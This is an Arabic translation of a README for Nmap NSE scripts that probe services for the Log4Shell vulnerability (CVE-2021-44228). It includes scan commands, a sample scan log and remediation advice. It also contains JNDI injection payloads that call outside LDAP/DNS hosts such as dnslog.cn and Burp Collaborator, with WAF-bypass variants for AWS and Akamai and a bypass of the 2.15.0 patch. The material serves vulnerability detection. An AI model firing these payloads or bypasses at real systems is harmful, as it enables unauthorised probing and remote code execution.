
نصوص NSE الخاصة بـ Nmap للتحقق من ثغرات log4shell أو LogJam (CVE-2021-44228)
نصوص Nmap NSE للتحقق من ثغرات log4shell أو LogJam (CVE-2021-44228). تفحص نصوص NSE معظم الخدمات المكشوفة الشائعة على الإنترنت. إنه نص أساسي حيث يمكنك تخصيص الحمولة.
لاحظ أن نصوص NSE ستقوم فقط بإصدار الطلبات إلى الخدمات. لن يقوم Nmap بالإبلاغ عن المضيفين الضعفاء، ولكن عليك التحقق من سجلات DNS لتحديد الثغرة. إذا لم تحدد الحمولة يدويًا، فستستخدم نصوص NSE بشكل افتراضي dnslog.cn. وهذا يعني أن الطلبات ستكون مرئية بواسطة dnslog.cn.
انتقل إلى الدليل حيث توجد هذه النصوص وأصدر الأوامر التالية (سيقوم Nmap باسترجاع dnslog.cn تلقائيًا).
على Linux:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
على Windows:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
تجاوز التصحيح الجديد على الإصدار v2.15.0 (CVE-2021-45046)، بفضل @marcioalm (تغريدة):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
تجاوز AWS (بفضل @11xuxx - تغريدة):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
تجاوز Akamai (بفضل @ozgur_bbh - تغريدة):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
مثال على Windows (بفضل @ZedFuzz) - لاحظ كيفية تهريب علامات الاقتباس:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
اذهب إلى http://github.com/kost/logdns واحصل على خادم DNS. احصل على نطاق وأشر إلى المكان الذي قمت بتثبيت logdns فيه:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
اذهب إلى http://dnslog.cn/ واحصل على النطاق الفرعي. استبدل xxxx بالنطاق الفرعي الخاص بك:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
خذ نطاقك من Burp collaborator واستبدل xxxx بنطاقك:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
خذ رمزك من CanaryToken واستبدل xxxx بنطاقك:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
شكرًا لـ @saintz666
جلسات dnslog.cn قصيرة (حوالي نصف ساعة). يجب أن تكون هناك طريقة لإطالة الجلسة إلى مدة الفحص. أيضًا، في بعض الأحيان يحدث استعلام DNS بعد وقت طويل من استلام الطلب. أبلغ أحدهم عن استلام طلب DNS بعد ساعات من إجراء الطلب. كحل بديل، تسترجع نصوص NSE الجلسة بعد فحص كل مضيف. لذلك، حاليًا، لتحقيق أفضل ضمان، من الأفضل استخدام نطاق DNS مخصص مع أداة مثل logdns: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
قائمة بأفضل الإصلاحات والحلول البديلة.
أفضل حل للحماية من CVE-2021-44228: التحديث إلى log4j-2.16.0 أو أحدث.
لاحظ أنه لم يعد يُوصى باستخدام log4j-2.15.0-rc1 حيث تم العثور على ثغرات جديدة. لذلك، يجب التحديث إلى log4j-2.16.0 أو أحدث (بفضل @ruppde).
أيضًا، لاحظ أنه يجب تجنب التوصيات الأخرى مثل تعيين log4j2.formatMsgNoLookups إلى true.
من الأفضل تحديد ثغرة log4shell من خلال النظر في نظام الملفات المحلي بحثًا عن قطع log4j.
يجب استخدام نصوص NSE هذه فقط لضمان إضافي. تساعد نصوص NSE في تحديد الخدمات الضعيفة، وليس التطبيق الضعيف. يمكنها تحديد التطبيق الضعيف إذا كان يسجل كل طلب (بما في ذلك الجذر /)، وليس إذا كانت الثغرة مخفية وراء تسجيل دخول ما. ستحتاج إلى ماسح ويب يزحف عبر الويب بالكامل لذلك.
يمكنك التحقق من URI معين بالمثال التالي:
http-log4shell.url=/my/application/uri
سيتحقق عبر رؤوس HTTP وملفات تعريف الارتباط. إذا كنت بحاجة للتحقق من نماذج POST/GET، فيجب عليك التحقق من http-spider-log4shell. ومع ذلك، من الأفضل استخدام ماسح ويب يدعم log4j.
لاحظ أيضًا أن حل DNS مع مجموعة البادئات في تعبير لـ log4j-core <= 2.7 لا يبدو مدعومًا. لذلك، قد يؤدي الاختبار بشيء مثل ${java:os} إلى نتائج سلبية خاطئة. لذلك، من الأفضل وجود عدد قليل من النتائج الإيجابية الخاطئة بدلاً من السلبية.
مراجع عامة وروابط للثغرة
خيط Reddit - معلومات عامة حول log4shell
NCC log4shell - معلومات تشغيلية حول الثغرة (مؤشرات الاختراق، التخفيف، المسح، البرامج)
ورقة غش BlueTeam Log4Shell - تحذيرات / نشرات أمنية مرتبطة بـ Log4Shell (CVE-2021-44228)
قائمة البرامج - دليل مرجعي سريع - قائمة البرامج المتأثرة حسب استجابات البائعين
لاحظ أن الفحوصات عن بعد وعبر الإنترنت مفيدة كضمان إضافي أو اختبار سريع. للحصول على ضمان إضافي، يُوصى بفحص الملفات محليًا بحثًا عن تواقيع log4j المعروفة.
lo4shell.huntress.com - اختبار ثغرة Log4Shell عبر الإنترنت
log4j yara - قواعد yara للكشف المحلي
identify-log4j-class-location.sh - نص لتحديد الفئة المتأثرة بـ Log4J لـ CVE-2021-44228 في مجموعة من ملفات ear/war/jar
PoC-log4j-bypass-words - خدعة لتجاوز كتل تصحيح الكلمات
log4shell-detector - كاشف لمحاولات استغلال Log4Shell
Log4Shell-IOCs - قائمة بخلاصات مؤشرات الاختراق وتقارير التهديدات
log4j_rce_detection.md - يمكنك استخدام هذه الأوامر والقواعد للبحث عن محاولات الاستغلال
توصية log4j - ثغرات أمان Apache Log4j
طلب سحب log4j وتعليقات - طلب السحب الذي يصلح الخلل مع التعليقات
Logout4Shell - بديل سريع وقذر للتصحيح اليدوي